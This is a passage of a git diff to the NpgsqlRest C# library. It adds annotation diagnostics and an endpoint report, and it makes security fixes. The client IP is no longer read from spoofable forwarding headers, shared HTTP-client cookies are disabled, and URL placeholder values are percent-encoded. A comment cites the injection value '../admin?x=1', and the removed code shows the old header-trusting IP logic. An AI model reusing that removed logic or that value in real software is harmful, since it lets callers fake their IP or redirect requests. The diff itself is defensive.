claimed. It is not prose, so it never + // becomes the endpoint's published description (OpenAPI, MCP). One that a plugin would + // read, had it been enabled, is simply not in effect; anything else is unknown. + if (CommentAnnotations.IsKnown(wordsLower[0]) is false) + { + (unknownAnnotationLines ??= []).Add(line); + CommentLogger?.LogDebug("{Description}: \"{Line}\" is not an annotation NpgsqlRest or its plugins read; ignored.", description, line); + } + } else { (unhandledCommentLines ??= []).Add(line); @@ -543,15 +612,51 @@ internal static partial class DefaultCommentParser } routineEndpoint.UnhandledCommentLines = unhandledCommentLines?.ToArray(); + routineEndpoint.UnknownAnnotationLines = unknownAnnotationLines?.ToArray(); + if (routine.SourceAnnotationLines is not null) + { + _annotationLabels?.AddRange(routine.SourceAnnotationLines); + } + routineEndpoint.AnnotationLines = _annotationLabels is { Count: > 0 } ? _annotationLabels.ToArray() : null; + var gated = Options.CommentsMode is CommentsMode.OnlyWithHttpTag or CommentsMode.OnlyAnnotated + && !hasHttpTag && !anyHandlerRequestedEndpoint; + if (unprefixedRestrictions is not null && gated is false) + { + // There is an endpoint, and it does not have the restriction its comment seems to ask for. + foreach (var (restrictionLine, name) in unprefixedRestrictions) + { + Logger?.LogWarning( + "{Description}: \"{Line}\" is read as text, not as the annotation {Name}, because annotations need the @ prefix (RequireAtPrefix is on). Write @{Name}, or reword the line if it is a sentence.", + description, restrictionLine, name, name); + } + } + if (requireAt && unprefixedHttp && gated) + { + // the one case that is worth a warning at every start: a comment in the old form after the switch + Logger?.LogWarning( + "{RoutineDescription}: no endpoint is created, because its comment has an HTTP line without the @ prefix and RequireAtPrefix is on. Write its annotations with @ (@http ...), or set RequireAtPrefix to false.", + routineDescription); + } + routineEndpoint.Diagnostics = EndpointDiagnosticsLogger.End(); if (disabled) { Logger?.CommentDisabled(description); + NotExposedReason = ("disabled", "Its comment has the disabled annotation."); + NotExposedDiagnostics = routineEndpoint.Diagnostics; return null; } if (Options.CommentsMode is CommentsMode.OnlyWithHttpTag or CommentsMode.OnlyAnnotated && !hasHttpTag && !anyHandlerRequestedEndpoint) { + NotExposedReason = requireAt && unprefixedHttp + ? ("unprefixed_annotations", "Its comment has an HTTP line without the @ prefix, and RequireAtPrefix is on, so the line is text. Write the annotations with @ (@http ...), or set RequireAtPrefix to false.") + : tagMismatch + ? ("tag_mismatch", "Its HTTP annotation comes after a \"for\" line that does not name this routine's tags, so it does not apply.") + : ("no_http_annotation", requireAt + ? "Its comment has no @http annotation. Under this CommentsMode an endpoint is created only for a comment that has one." + : "Its comment has no HTTP annotation. Under this CommentsMode an endpoint is created only for a comment that has one."); + NotExposedDiagnostics = routineEndpoint.Diagnostics; return null; } // An endpoint that exists ONLY because a plugin requested it (no HTTP tag under a gating @@ -596,7 +701,16 @@ internal static partial class DefaultCommentParser public static void SetCustomParameter(RoutineEndpoint endpoint, string name, string value, string? description = null) { - value = Regex.Unescape(value); + // \t, \n and the like are written as escapes. A value that is not a valid escape sequence (a Windows path + // such as C:\uploads, where \u is an incomplete escape) is taken as written. + try + { + value = Regex.Unescape(value); + } + catch (ArgumentException) + { + } + var where = description ?? string.Concat(endpoint.Method.ToString(), " ", endpoint.Path); if (StrEqualsToArray(name, BufferRowsKey)) { @@ -604,27 +718,43 @@ public static void SetCustomParameter(RoutineEndpoint endpoint, string name, str { endpoint.BufferRows = parsedBuffer; } + else + { + WarnInvalidValue(where, name, value, "a whole number, 0 or more"); + } } else if (StrEqualsToArray(name, RawKey)) { - if (bool.TryParse(value, out var parsedRaw)) + if (Ext.TryParseSwitch(value, out var parsedRaw)) { endpoint.Raw = parsedRaw; } + else + { + WarnInvalidValue(where, name, value, "true or false"); + } } else if (StrEqualsToArray(name, SingleKey)) { - if (bool.TryParse(value, out var parsedSingle)) + if (Ext.TryParseSwitch(value, out var parsedSingle)) { endpoint.ReturnSingleRecord = parsedSingle; } + else + { + WarnInvalidValue(where, name, value, "true or false"); + } } else if (StrEqualsToArray(name, VoidKey)) { - if (bool.TryParse(value, out var parsedVoid)) + if (Ext.TryParseSwitch(value, out var parsedVoid)) { endpoint.Void = parsedVoid; } + else + { + WarnInvalidValue(where, name, value, "true or false"); + } } else if (StrEqualsToArray(name, SeparatorKey)) { @@ -636,10 +766,14 @@ public static void SetCustomParameter(RoutineEndpoint endpoint, string name, str } else if (StrEqualsToArray(name, ColumnNamesKey)) { - if (bool.TryParse(value, out var parsedRawColumnNames)) + if (Ext.TryParseSwitch(value, out var parsedRawColumnNames)) { endpoint.RawColumnNames = parsedRawColumnNames; } + else + { + WarnInvalidValue(where, name, value, "true or false"); + } } else if (StrEqualsToArray(name, ConnectionNameKey)) { @@ -648,23 +782,31 @@ public static void SetCustomParameter(RoutineEndpoint endpoint, string name, str } else if (StrEqualsToArray(name, UserContextKey)) { - if (bool.TryParse(value, out var parserUserContext)) + if (Ext.TryParseSwitch(value, out var parserUserContext)) { endpoint.UserContext = parserUserContext; } + else + { + WarnInvalidValue(where, name, value, "true or false"); + } } else if (StrEqualsToArray(name, UserParemetersKey)) { - if (bool.TryParse(value, out var parserUserParameters)) + if (Ext.TryParseSwitch(value, out var parserUserParameters)) { endpoint.UseUserParameters = parserUserParameters; } + else + { + WarnInvalidValue(where, name, value, "true or false"); + } } else if (StrEqualsToArray(name, SseEventsStreamingPathKey)) { // Tag-value form of @sse: same shorthand semantics — publish + subscribe on the same path. - if (bool.TryParse(value, out var parseredStreamingPath)) + if (Ext.TryParseSwitch(value, out var parseredStreamingPath)) { endpoint.SseEventsPath = parseredStreamingPath is true ? (endpoint.SseEventNoticeLevel ?? Options.DefaultSseEventNoticeLevel).ToString().ToLowerInvariant() : @@ -680,7 +822,7 @@ public static void SetCustomParameter(RoutineEndpoint endpoint, string name, str else if (StrEqualsToArray(name, SseEventsPublishKey)) { - if (bool.TryParse(value, out var parsedPublish)) + if (Ext.TryParseSwitch(value, out var parsedPublish)) { endpoint.SsePublishEnabled = parsedPublish; } @@ -692,7 +834,7 @@ public static void SetCustomParameter(RoutineEndpoint endpoint, string name, str else if (StrEqualsToArray(name, SseEventsSubscribeKey)) { - if (bool.TryParse(value, out var parsedSubscribe)) + if (Ext.TryParseSwitch(value, out var parsedSubscribe)) { endpoint.SseEventsPath = parsedSubscribe is true ? (endpoint.SseEventNoticeLevel ?? Options.DefaultSseEventNoticeLevel).ToString().ToLowerInvariant() : @@ -706,10 +848,14 @@ public static void SetCustomParameter(RoutineEndpoint endpoint, string name, str else if (StrEqualsToArray(name, SseEventsLevelKey)) { - if (Enum.TryParse(value, true, out var parsedLevel)) + if (Enum.TryParse(value, true, out var parsedLevel) && Enum.IsDefined(parsedLevel)) { endpoint.SseEventNoticeLevel = parsedLevel; } + else + { + WarnInvalidValue(where, name, value, string.Join(", ", Enum.GetNames())); + } } else if (StrEqualsToArray(name, SseEventsStreamingScopeKey)) @@ -744,11 +890,14 @@ public static void SetCustomParameter(RoutineEndpoint endpoint, string name, str { endpoint.BasicAuth = new() { Enabled = true }; } + // basic_auth = . (The words were read from the positions of the keyword form, + // "basic_auth ", one too far, so this form never added a user.) + // basic_auth = true only turns it on. var words = value.SplitWords(); - if (words.Length >= 3) + if (words.Length >= 2) { - var username = words[1]; - var password = words[2]; + var username = words[0]; + var password = words[1]; if (string.IsNullOrEmpty(username) is false && string.IsNullOrEmpty(password) is false) { endpoint.BasicAuth.Users[username] = password; @@ -780,6 +929,10 @@ public static void SetCustomParameter(RoutineEndpoint endpoint, string name, str { endpoint.RetryStrategy = strategy; } + else + { + Logger?.RetryStrategyNotFound(where, value); + } } else if (StrEqualsToArray(name, RateLimiterPolicyKey)) @@ -794,18 +947,26 @@ public static void SetCustomParameter(RoutineEndpoint endpoint, string name, str else if (StrEqualsToArray(name, EncryptKey)) { - if (bool.TryParse(value, out var parsedEncrypt)) + if (Ext.TryParseSwitch(value, out var parsedEncrypt)) { endpoint.EncryptAllParameters = parsedEncrypt; } + else + { + WarnInvalidValue(where, name, value, "true or false"); + } } else if (StrEqualsToArray(name, DecryptKey)) { - if (bool.TryParse(value, out var parsedDecrypt)) + if (Ext.TryParseSwitch(value, out var parsedDecrypt)) { endpoint.DecryptAllColumns = parsedDecrypt; } + else + { + WarnInvalidValue(where, name, value, "true or false"); + } } else if (StrEqualsToArray(name, TimeoutKey)) @@ -815,6 +976,10 @@ public static void SetCustomParameter(RoutineEndpoint endpoint, string name, str { endpoint.CommandTimeout = parsedInterval; } + else + { + WarnInvalidValue(where, name, value, "an interval, such as 30s or 5 minutes"); + } } else @@ -823,7 +988,9 @@ public static void SetCustomParameter(RoutineEndpoint endpoint, string name, str var paramName = name.Length > 0 && name[0] == '@' ? name[1..] : name; if (endpoint.CustomParameters is null) { - endpoint.CustomParameters = new() + // Keys are found whatever their case: what reads them (the client generators, the upload + // handlers) asks for lower case names, and "TsClient_Module = x" used to be stored and never found. + endpoint.CustomParameters = new(StringComparer.OrdinalIgnoreCase) { [paramName] = value }; @@ -835,5 +1002,11 @@ public static void SetCustomParameter(RoutineEndpoint endpoint, string name, str } } + private static void WarnInvalidValue(string where, string name, string value, string expected) + { + Logger?.LogWarning("{Description}: {Name} = {Value} - the value is not valid and is ignored. Expected: {Expected}.", + where, name.TrimStart('@'), value, expected); + } + // Utility methods moved to DefaultCommentParser.Utilities.cs } \ No newline at end of file diff --git a/NpgsqlRest/Defaults/DefaultEndpoint.cs b/NpgsqlRest/Defaults/DefaultEndpoint.cs index f46e1c9a..5938ca21 100644 --- a/NpgsqlRest/Defaults/DefaultEndpoint.cs +++ b/NpgsqlRest/Defaults/DefaultEndpoint.cs @@ -3,6 +3,23 @@ internal static class DefaultEndpoint { internal static RoutineEndpoint? Create(Routine routine) + { + var routineEndpoint = CreateUnparsed(routine); + + if (routine.EndpointHandler is not null) + { + var parsed = DefaultCommentParser.Parse(routine, routineEndpoint); + ApplyTsClientModule(routine, parsed); + return routine.EndpointHandler(parsed); + } + + var result = DefaultCommentParser.Parse(routine, routineEndpoint); + ApplyTsClientModule(routine, result); + return result; + } + + /// The endpoint of a routine as the options alone make it, before its comment is read. + internal static RoutineEndpoint CreateUnparsed(Routine routine) { var url = Options.UrlPathBuilder(routine, Options); if (routine.FormatUrlPattern is not null) @@ -49,17 +66,7 @@ internal static class DefaultEndpoint { routineEndpoint.LogCallback = null; } - - if (routine.EndpointHandler is not null) - { - var parsed = DefaultCommentParser.Parse(routine, routineEndpoint); - ApplyTsClientModule(routine, parsed); - return routine.EndpointHandler(parsed); - } - - var result = DefaultCommentParser.Parse(routine, routineEndpoint); - ApplyTsClientModule(routine, result); - return result; + return routineEndpoint; } /// @@ -79,7 +86,7 @@ private static void ApplyTsClientModule(Routine routine, RoutineEndpoint? endpoi return; } - endpoint.CustomParameters ??= new(); + endpoint.CustomParameters ??= new(StringComparer.OrdinalIgnoreCase); endpoint.CustomParameters["tsclient_module"] = ToCamelCase(moduleName); } diff --git a/NpgsqlRest/EndpointDiagnostics.cs b/NpgsqlRest/EndpointDiagnostics.cs new file mode 100644 index 00000000..34d002ee --- /dev/null +++ b/NpgsqlRest/EndpointDiagnostics.cs @@ -0,0 +1,48 @@ +namespace NpgsqlRest; + +/// +/// NpgsqlRest's logger, with one addition: while an endpoint's comment is being parsed, every warning and error +/// logged about it is also kept, and ends up in . That is what lets a +/// tool (npgsqlrest --endpoints, an editor) show an endpoint's problems with the endpoint, instead of having to +/// find them in the log. Everything is passed on to the real logger unchanged. +/// +internal sealed class EndpointDiagnosticsLogger(ILogger inner) : ILogger +{ + [ThreadStatic] + private static bool _collecting; + [ThreadStatic] + private static List? _collected; + + /// Starts keeping the warnings logged on this thread. + public static void Begin() + { + _collecting = true; + _collected = null; + } + + /// Stops, and returns what was kept (null for nothing). + public static string[]? End() + { + _collecting = false; + var result = _collected?.ToArray(); + _collected = null; + return result; + } + + public IDisposable? BeginScope(TState state) where TState : notnull => inner.BeginScope(state); + + public bool IsEnabled(LogLevel logLevel) => + inner.IsEnabled(logLevel) || (_collecting && logLevel >= LogLevel.Warning && logLevel != LogLevel.None); + + public void Log(LogLevel logLevel, EventId eventId, TState state, Exception? exception, Func formatter) + { + if (_collecting && logLevel >= LogLevel.Warning && logLevel != LogLevel.None) + { + (_collected ??= []).Add(formatter(state, exception)); + } + if (inner.IsEnabled(logLevel)) + { + inner.Log(logLevel, eventId, state, exception, formatter); + } + } +} diff --git a/NpgsqlRest/EndpointReport.cs b/NpgsqlRest/EndpointReport.cs new file mode 100644 index 00000000..798ce301 --- /dev/null +++ b/NpgsqlRest/EndpointReport.cs @@ -0,0 +1,188 @@ +namespace NpgsqlRest; + +/// +/// A routine, table, view or SQL file that NpgsqlRest looked at and did not turn into an endpoint, with the reason. +/// +public sealed class NotExposedEntry +{ + /// What it is: function, procedure, table, view, sql_file. + public required string Kind { get; init; } + public string? Schema { get; init; } + public string? Name { get; init; } + /// The routine's signature, as in . + public string? Definition { get; init; } + /// The file of a SQL file endpoint. + public string? SourceFile { get; init; } + /// + /// Why, as a stable code: no_comment, no_http_annotation, disabled, tag_mismatch, + /// excluded_by_filter, sql_error, empty_file, rejected_by_callback. + /// + public required string Reason { get; init; } + /// The reason in a sentence, with what to change. + public required string Message { get; init; } + /// Warnings and errors logged about it while it was read. + public string[]? Diagnostics { get; init; } +} + +/// A file that a generator wrote for an endpoint (a client module, an HTTP file, an OpenAPI document). +public sealed class GeneratedFileEntry +{ + /// Who wrote it: tsclient, dartclient, httpfiles, openapi, mcp. + public required string Generator { get; init; } + /// The full path of the file. + public required string File { get; init; } + /// What the endpoint is called in that file (a function name, an operation id), when it has a name there. + public string? Symbol { get; init; } + /// The line (from 1) where it begins in the file as written, when the generator knows it. + public int? Line { get; init; } + /// What kind of file it is for the generator: client, types, hooks, requests, document. + public string? Role { get; init; } +} + +/// +/// What the last build of the endpoints left behind for tools: everything that was looked at and is not an +/// endpoint (), and the files generated for each endpoint (). +/// npgsqlrest --inspect prints it. It is filled by every build and replaced by the next one. +/// +public static class EndpointReport +{ + private static readonly Lock Sync = new(); + private static List _notExposed = []; + private static Dictionary> _generated = new(ReferenceEqualityComparer.Instance); + private static List _generatedFiles = []; + + /// + /// Also look for the routines that the schema, name and language filters left out, which takes one more query + /// per routine source. Off for a normal start; npgsqlrest --inspect turns it on. + /// + public static bool IncludeFilteredOut { get; set; } + + /// Everything that was looked at and is not an endpoint, in the order it was found. + public static NotExposedEntry[] NotExposed + { + get { lock (Sync) { return [.. _notExposed]; } } + } + + /// The files generated for an endpoint; empty when there are none. + public static GeneratedFileEntry[] GeneratedFor(RoutineEndpoint endpoint) + { + lock (Sync) + { + return _generated.TryGetValue(endpoint, out var list) ? [.. list] : []; + } + } + + /// Every generated file that is not about one endpoint (a shared types file), and all the others, once each. + public static GeneratedFileEntry[] GeneratedFiles + { + get { lock (Sync) { return [.. _generatedFiles]; } } + } + + /// Records something that did not become an endpoint. Sources and plugins call this for what they leave out. + public static void AddNotExposed(NotExposedEntry entry) + { + lock (Sync) { _notExposed.Add(entry); } + } + + /// Records a file a generator wrote for an endpoint (or, with no endpoint, a file that belongs to all of them). + public static void AddGenerated(RoutineEndpoint? endpoint, GeneratedFileEntry entry) + { + lock (Sync) + { + if (endpoint is not null) + { + if (_generated.TryGetValue(endpoint, out var list) is false) + { + _generated[endpoint] = list = []; + } + list.Add(entry); + } + if (_generatedFiles.Exists(f => f.Generator == entry.Generator && f.File == entry.File && f.Role == entry.Role) is false) + { + _generatedFiles.Add(new GeneratedFileEntry { Generator = entry.Generator, File = entry.File, Role = entry.Role }); + } + } + } + + /// + /// For a generator: records, for each endpoint, where it is in a file that was just written. The line of an + /// endpoint is the line of the first of its markers found in (the text as + /// written); an endpoint none of whose markers is found is recorded without a line. + /// + public static void AddGenerated( + string generator, string file, string role, string text, + IEnumerable<(RoutineEndpoint Endpoint, string Symbol, string[] Markers)> items) + { + file = Path.GetFullPath(file); + var any = false; + foreach (var (endpoint, symbol, markers) in items) + { + any = true; + int? line = null; + foreach (var marker in markers) + { + var index = IndexOfWhole(text, marker); + if (index >= 0) + { + line = text.AsSpan(0, index).Count('\n') + 1; + break; + } + } + AddGenerated(endpoint, new GeneratedFileEntry { Generator = generator, File = file, Role = role, Symbol = symbol, Line = line }); + } + if (any is false) + { + AddGenerated(null, new GeneratedFileEntry { Generator = generator, File = file, Role = role }); + } + } + + // The marker, not followed by a character that would make it part of a longer name or path + // ("GET {{host}}/api/a" is not found in "GET {{host}}/api/ab"). + private static int IndexOfWhole(string text, string marker) + { + var from = 0; + while (true) + { + var index = text.IndexOf(marker, from, StringComparison.Ordinal); + if (index < 0) + { + return -1; + } + var end = index + marker.Length; + if (end >= text.Length || !(char.IsLetterOrDigit(text[end]) || text[end] is '_' or '-' or '/' or '{')) + { + return index; + } + from = index + 1; + } + } + + /// + /// Starts keeping the warnings and errors logged on this thread through NpgsqlRest's logger, so that a source + /// can attach them to what it reports ( returns them). + /// + public static void BeginCapture() => EndpointDiagnosticsLogger.Begin(); + + /// Stops, and returns what was logged since (null for nothing). + public static string[]? EndCapture() => EndpointDiagnosticsLogger.End(); + + internal static void Reset() + { + lock (Sync) + { + _notExposed = []; + _generated = new(ReferenceEqualityComparer.Instance); + _generatedFiles = []; + } + } + + internal static string KindOf(Routine routine) => routine.Type switch + { + RoutineType.Function => "function", + RoutineType.Procedure => "procedure", + RoutineType.Table => "table", + RoutineType.View => "view", + RoutineType.SqlFile => "sql_file", + _ => routine.Type.ToString().ToLowerInvariant() + }; +} diff --git a/NpgsqlRest/Enums.cs b/NpgsqlRest/Enums.cs index 69a7faf7..df02231f 100644 --- a/NpgsqlRest/Enums.cs +++ b/NpgsqlRest/Enums.cs @@ -58,7 +58,8 @@ public enum RequestHeadersMode /// Ignore, /// - /// Send all request headers as json object to PostgreSQL by executing set_config('context.headers', headers, false) before routine call. + /// Send all request headers as a JSON string to PostgreSQL, in the setting named by RequestHeadersContextKey + /// (request.headers by default), set with set_config just before the routine runs. /// Context, /// diff --git a/NpgsqlRest/Extensions.cs b/NpgsqlRest/Extensions.cs index 8a918b80..7f67d681 100644 --- a/NpgsqlRest/Extensions.cs +++ b/NpgsqlRest/Extensions.cs @@ -459,22 +459,17 @@ public static object GetUserClaimsDbParam(this Dictionary claim return sb.ToString(); } + /// + /// The client IP address: HttpContext.Connection.RemoteIpAddress. + /// Request headers (X-Forwarded-For, X-Real-IP, ...) are deliberately NOT read here: any client can + /// send them, so trusting them let callers choose their own IP (bypassing per-IP rate limits, faking audit data). + /// Behind a reverse proxy, enable the ASP.NET Core forwarded headers middleware (UseForwardedHeaders, with the + /// proxy listed in KnownProxies/KnownNetworks, or ForwardedHeaders:Enabled in the npgsqlrest client): it replaces + /// RemoteIpAddress with the address the trusted proxy reported. + /// public static string? GetClientIpAddress(this HttpRequest request) { - // Check X-Forwarded-For header - var forwardedIp = request.Headers["X-Forwarded-For"].FirstOrDefault(); - if (!string.IsNullOrEmpty(forwardedIp)) - { - int commaIndex = forwardedIp.IndexOf(','); - return commaIndex > 0 ? forwardedIp[..commaIndex].Trim() : forwardedIp.Trim(); - } - - // Check other headers with null-coalescing operator - var ip = request.Headers["X-Real-IP"].FirstOrDefault() - ?? request.Headers["HTTP_X_FORWARDED_FOR"].FirstOrDefault() - ?? request.Headers["REMOTE_ADDR"].FirstOrDefault(); - - return !string.IsNullOrEmpty(ip) ? ip : request.HttpContext.Connection.RemoteIpAddress?.ToString(); + return request.HttpContext.Connection.RemoteIpAddress?.ToString(); } public static object GetClientIpAddressDbParam(this HttpRequest request) @@ -501,34 +496,47 @@ public static bool IsWarning(this PostgresNotice notice) return string.Equals(notice.Severity, Warning, StringComparison.OrdinalIgnoreCase); } + /// + /// Reads a switch value as annotations write it: true, on, enabled, enable, 1 and false, off, disabled, + /// disable, 0 (any case). Returns false when the value is none of these. + /// + public static bool TryParseSwitch(string? value, out bool result) + { + result = false; + if (value is null) + { + return false; + } + value = value.Trim(); + if (string.Equals(value, "false", StringComparison.OrdinalIgnoreCase) || + string.Equals(value, "off", StringComparison.OrdinalIgnoreCase) || + string.Equals(value, "disabled", StringComparison.OrdinalIgnoreCase) || + string.Equals(value, "disable", StringComparison.OrdinalIgnoreCase) || + string.Equals(value, "0", StringComparison.Ordinal)) + { + return true; + } + if (string.Equals(value, "true", StringComparison.OrdinalIgnoreCase) || + string.Equals(value, "on", StringComparison.OrdinalIgnoreCase) || + string.Equals(value, "enabled", StringComparison.OrdinalIgnoreCase) || + string.Equals(value, "enable", StringComparison.OrdinalIgnoreCase) || + string.Equals(value, "1", StringComparison.Ordinal)) + { + result = true; + return true; + } + return false; + } + public static bool? ParameterEnabled(this Dictionary? parameters, string key) { if (parameters is null || parameters.Count == 0) { return null; } - if (parameters.TryGetValue(key, out var value)) + if (parameters.TryGetValue(key, out var value) && TryParseSwitch(value, out var enabled)) { - // Check for "off" values - if (string.Equals(value, "false", StringComparison.OrdinalIgnoreCase) || - string.Equals(value, "off", StringComparison.OrdinalIgnoreCase) || - string.Equals(value, "disabled", StringComparison.OrdinalIgnoreCase) || - string.Equals(value, "disable", StringComparison.OrdinalIgnoreCase) || - string.Equals(value, "0", StringComparison.OrdinalIgnoreCase)) - { - return false; - } - - // Check for "on" values - if (string.Equals(value, "true", StringComparison.OrdinalIgnoreCase) || - string.Equals(value, "on", StringComparison.OrdinalIgnoreCase) || - string.Equals(value, "enabled", StringComparison.OrdinalIgnoreCase) || - string.Equals(value, "enable", StringComparison.OrdinalIgnoreCase) || - string.Equals(value, "1", StringComparison.OrdinalIgnoreCase)) - { - return true; - } - return null; + return enabled; } return null; } diff --git a/NpgsqlRest/HttpClientType/HttpClientTypeHandler.cs b/NpgsqlRest/HttpClientType/HttpClientTypeHandler.cs index 76e6127b..8e318738 100644 --- a/NpgsqlRest/HttpClientType/HttpClientTypeHandler.cs +++ b/NpgsqlRest/HttpClientType/HttpClientTypeHandler.cs @@ -6,9 +6,18 @@ namespace NpgsqlRest.HttpClientType; -public class HttpClientTypeHandler(HttpTypeDefinition definition, Dictionary.AlternateLookup>? replacements = null) +/// The HTTP type definition (request template). +/// Raw placeholder values (headers, body). +/// Placeholder values for the URL: request-derived values percent-encoded (falls back to +/// when null). +public class HttpClientTypeHandler( + HttpTypeDefinition definition, + Dictionary.AlternateLookup>? replacements = null, + Dictionary.AlternateLookup>? urlReplacements = null) { - private static readonly HttpClient SharedClient = new() + // UseCookies = false: the client is shared by all users. With the default cookie container, a cookie that an + // upstream sets for one user's request was stored and sent with every later request - for every user. + private static readonly HttpClient SharedClient = new(new SocketsHttpHandler { UseCookies = false }) { Timeout = Timeout.InfiniteTimeSpan // We handle timeout per-request }; @@ -48,7 +57,7 @@ public async Task InvokeAsync(CancellationToken cancellationToken = default) for (int attempt = 0; attempt <= maxRetries; attempt++) { var startTimestamp = Stopwatch.GetTimestamp(); - _resolvedUrl = ResolveValue(definition.Url); + _resolvedUrl = ResolveUrl(); var resolvedUrl = _resolvedUrl; if (attempt == 0) { @@ -67,19 +76,29 @@ public async Task InvokeAsync(CancellationToken cancellationToken = default) // Use internal request handler for self-calls (bypasses HTTP stack entirely) if (isSelfCall && InternalRequestHandler.IsAvailable) { - var url = definition.NeedsParsing && replacements is not null - ? Formatter.FormatString(definition.Url.AsSpan(), replacements.Value).ToString() - : definition.Url; + var url = ResolveUrl(); + + // The same request an outbound call makes: placeholders are resolved in the header values and + // the content type too (they used to be passed as written, {name} and all), and the timeout + // applies (a call to an endpoint of this application could wait forever). + Dictionary? headers = definition.Headers; + if (headers is { Count: > 0 } && definition.NeedsParsing && replacements is not null) + { + headers = new Dictionary(headers.Count, StringComparer.OrdinalIgnoreCase); + foreach (var header in definition.Headers!) + { + headers[header.Key] = ResolveValue(header.Value); + } + } + using var internalTimeout = CreateTimeoutCancellationTokenSource(cancellationToken); var internalResponse = await InternalRequestHandler.ExecuteAsync( definition.Method, url, - definition.Headers, - definition.NeedsParsing && definition.Body is not null && replacements is not null - ? Formatter.FormatString(definition.Body.AsSpan(), replacements.Value).ToString() - : definition.Body, - definition.ContentType, - cancellationToken); + headers, + definition.Body is not null ? ResolveValue(definition.Body) : null, + definition.ContentType is not null ? ResolveValue(definition.ContentType) : null, + internalTimeout?.Token ?? cancellationToken); StatusCode = internalResponse.StatusCode; Body = internalResponse.Body; @@ -123,7 +142,10 @@ public async Task InvokeAsync(CancellationToken cancellationToken = default) { StatusCode = 408; IsSuccess = false; - ErrorMessage = $"Request timed out after {definition.Timeout?.TotalSeconds ?? 30} seconds"; + // invariant culture: the message is data returned to the routine ("0.3 seconds"), and must not depend + // on the regional settings of the server (a comma decimal separator gave "0,3 seconds") + ErrorMessage = string.Create(System.Globalization.CultureInfo.InvariantCulture, + $"Request timed out after {EffectiveTimeout.TotalSeconds} seconds"); if (attempt < maxRetries) { Logger?.LogWarning("HTTP client request to '{Url}' timed out, retrying after {Delay}ms", @@ -132,7 +154,7 @@ public async Task InvokeAsync(CancellationToken cancellationToken = default) continue; } Logger?.LogWarning("HTTP client request to '{Url}' timed out after {Timeout}s", - resolvedUrl, definition.Timeout?.TotalSeconds ?? 30); + resolvedUrl, EffectiveTimeout.TotalSeconds); } catch (HttpRequestException ex) { @@ -196,7 +218,7 @@ private string ComputeCacheKey() { var sb = new StringBuilder(); sb.Append(definition.Method).Append('\n'); - sb.Append(ResolveValue(definition.Url)).Append('\n'); + sb.Append(ResolveUrl()).Append('\n'); if (definition.ContentType is not null) { sb.Append(ResolveValue(definition.ContentType)); @@ -241,7 +263,7 @@ private bool ShouldRetry(int statusCode) private HttpRequestMessage CreateRequest() { - var url = ResolveValue(definition.Url); + var url = ResolveUrl(); // Resolve relative paths against the server's own base URL (skip if _selfClient handles it via BaseAddress) if (url.StartsWith('/') && _selfClient is null && SelfBaseUrl is not null) @@ -278,22 +300,40 @@ private HttpRequestMessage CreateRequest() return request; } + /// Timeout used when an HTTP type has no timeout directive. + public static readonly TimeSpan DefaultRequestTimeout = TimeSpan.FromSeconds(30); + + private TimeSpan EffectiveTimeout => definition.Timeout ?? DefaultRequestTimeout; + private CancellationTokenSource? CreateTimeoutCancellationTokenSource(CancellationToken cancellationToken) { - if (definition.Timeout is null) - { - return null; - } - + // Every outbound call has a timeout: without a timeout directive the shared client (infinite timeout) used + // to wait forever for a hanging upstream, holding the request - while the messages claimed 30 seconds. var cts = CancellationTokenSource.CreateLinkedTokenSource(cancellationToken); - cts.CancelAfter(definition.Timeout.Value); + cts.CancelAfter(EffectiveTimeout); return cts; } + /// + /// The URL with placeholders resolved. Request-derived values are percent-encoded (see urlReplacements), so a value + /// such as "../admin?x=1" stays inside its path segment or query value instead of changing the request target. + /// + private string ResolveUrl() + { + var lookup = urlReplacements ?? replacements; + if (definition.NeedsParsing is false || lookup is null) + { + return definition.Url; + } + return new string(Formatter.FormatString(definition.Url.AsSpan(), lookup.Value)); + } + private async Task ProcessResponseAsync(HttpResponseMessage response, long startTimestamp) { StatusCode = (int)response.StatusCode; IsSuccess = response.IsSuccessStatusCode; + // A response was received: whatever an earlier attempt left here (a timeout, a network error) is over. + ErrorMessage = null; ContentType = response.Content.Headers.ContentType?.ToString(); Body = await response.Content.ReadAsStringAsync(); @@ -347,7 +387,8 @@ public static async Task InvokeAllAsync( IEnumerable typeNames, Dictionary.AlternateLookup>? replacements, NpgsqlParameterCollection parameters, - CancellationToken cancellationToken) + CancellationToken cancellationToken, + Dictionary.AlternateLookup>? urlReplacements = null) { var handlers = new Dictionary(); var tasks = new List<(string TypeName, HttpClientTypeHandler Handler, Task Task)>(); @@ -364,7 +405,7 @@ public static async Task InvokeAllAsync( } if (HttpClientTypes.Definitions.TryGetValue(typeName, out var definition)) { - var handler = new HttpClientTypeHandler(definition, replacements); + var handler = new HttpClientTypeHandler(definition, replacements, urlReplacements); handlers[typeName] = handler; tasks.Add((typeName, handler, handler.InvokeWithCacheAsync(cancellationToken))); } diff --git a/NpgsqlRest/HttpClientType/HttpClientTypes.cs b/NpgsqlRest/HttpClientType/HttpClientTypes.cs index 49c40c25..4a0f17e3 100644 --- a/NpgsqlRest/HttpClientType/HttpClientTypes.cs +++ b/NpgsqlRest/HttpClientType/HttpClientTypes.cs @@ -483,6 +483,11 @@ private static bool TryParseTimeoutDirective(ReadOnlySpan line, string? ty { trimmed = TrimSpan(trimmed[1..]); } + else if (NpgsqlRestOptions.Options?.RequireAtPrefix is true) + { + // RequireAtPrefix: a directive needs the @ (the request line and the headers are HTTP syntax and do not) + return false; + } // Check for "timeout" keyword (case-insensitive) if (!trimmed.StartsWith("timeout", StringComparison.OrdinalIgnoreCase)) @@ -491,6 +496,11 @@ private static bool TryParseTimeoutDirective(ReadOnlySpan line, string? ty } var afterKeyword = trimmed[7..]; // Skip "timeout" + // The keyword is a whole word: "Timeout-Ms: 100" is a request header, not this directive. + if (!afterKeyword.IsEmpty && afterKeyword[0] is not (' ' or '\t' or '=' or ':')) + { + return false; + } // Handle separator: space, '=', or ':' afterKeyword = TrimSpan(afterKeyword); @@ -535,6 +545,11 @@ private static bool TryParseRetryDirective( { trimmed = TrimSpan(trimmed[1..]); } + else if (NpgsqlRestOptions.Options?.RequireAtPrefix is true) + { + // RequireAtPrefix: a directive needs the @ (the request line and the headers are HTTP syntax and do not) + return false; + } // Check for "retry_delay" keyword (case-insensitive) if (!trimmed.StartsWith("retry_delay", StringComparison.OrdinalIgnoreCase)) @@ -543,6 +558,11 @@ private static bool TryParseRetryDirective( } var afterKeyword = trimmed[11..]; // Skip "retry_delay" + // The keyword is a whole word: "Retry_Delay_Hint: 5" is a request header, not this directive. + if (!afterKeyword.IsEmpty && afterKeyword[0] is not (' ' or '\t' or '=' or ':')) + { + return false; + } // Handle separator: space, '=', or ':' afterKeyword = TrimSpan(afterKeyword); @@ -634,6 +654,11 